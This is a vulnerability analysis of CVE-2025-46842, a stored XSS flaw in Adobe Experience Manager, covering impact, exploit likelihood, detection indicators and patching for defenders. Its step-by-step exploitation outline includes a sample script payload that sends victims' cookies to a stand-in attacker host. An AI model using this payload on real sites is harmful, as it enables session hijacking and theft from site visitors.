CVE-2025-46842: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46842 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available via Adobe's security advisory APSB25-48. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable form fields within AEM; the payload is stored server-side and executed in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of web application content. The scope is marked as Changed, meaning the injected script can affect resources beyond the attacker's own security context. Confidentiality and integrity are both assessed as Low impact, with no direct availability impact (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46842. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify an AEM instance running version 6.5.22 or earlier (or AEM Cloud Service prior to 2025.5.0) and obtain a low-privileged authenticated account.
2. Identify vulnerable form fields: Browse the AEM authoring interface or public-facing forms to locate input fields that do not properly sanitize user-supplied content before storing it.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the content.
4. Payload persistence: The malicious script is stored in the AEM repository and rendered as part of the page content for all subsequent visitors.
5. Victim triggers execution: When a victim (e.g., an administrator or site visitor) browses to the page containing the compromised field, the injected JavaScript executes in their browser, enabling session hijacking, credential theft, or other client-side attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, etc.).
• File System / Repository: Unexpected <script> tags or JavaScript event handlers (e.g., onload, onerror, onclick) stored within AEM JCR node properties or page content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data in query parameters.
• Browser / Client-Side: Unexpected redirects or pop-ups experienced by users browsing AEM-hosted pages; browser developer console errors referencing external script sources.

Adobe has released patches addressing this vulnerability: upgrade to AEM 6.5.23 or later for on-premise deployments, or ensure AEM Cloud Service is on version 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding for all form fields, deploy a Content Security Policy (CSP) to restrict script execution, and regularly audit user-generated content for injected scripts. Limiting user privileges and monitoring for suspicious content submissions are also recommended (Adobe Advisory).

The vulnerability was noted in a CIS advisory covering multiple Adobe product vulnerabilities released in June 2025, which flagged the broader APSB25-48 advisory as warranting attention for organizations running AEM. No significant independent researcher commentary, social media discussion, or media coverage specific to CVE-2025-46842 has been identified beyond standard vulnerability database entries (CIS Advisory).